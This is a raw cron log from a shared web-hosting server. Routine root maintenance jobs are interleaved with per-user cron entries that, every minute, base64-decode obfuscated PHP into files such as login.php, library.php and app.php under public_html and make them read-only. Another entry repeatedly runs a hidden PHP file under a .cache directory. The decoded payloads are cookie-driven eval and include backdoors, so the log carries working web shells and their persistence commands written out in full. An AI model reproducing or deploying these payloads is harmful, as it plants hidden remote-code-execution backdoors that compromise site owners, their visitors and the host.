Mar  1 23:51:02 medusa CROND[6037]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:51:02 medusa CROND[6040]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:51:02 medusa CROND[6041]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:52:02 medusa CROND[10679]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:52:02 medusa CROND[10680]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:52:02 medusa CROND[10681]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:52:02 medusa CROND[10682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:52:02 medusa CROND[10683]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:52:02 medusa CROND[10685]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:52:02 medusa CROND[10689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:52:02 medusa CROND[10690]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 23:52:02 medusa CROND[10691]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:52:02 medusa CROND[10693]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:52:02 medusa CROND[10694]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:52:02 medusa CROND[10708]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:52:02 medusa CROND[10709]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:53:02 medusa CROND[16370]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 23:53:02 medusa CROND[16371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:53:02 medusa CROND[16372]: (root) CMD (/usr/lib64/sa/sa2 -A)
Mar  1 23:53:02 medusa CROND[16373]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:53:02 medusa CROND[16375]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:53:02 medusa CROND[16376]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:53:02 medusa CROND[16382]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:53:02 medusa CROND[16384]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
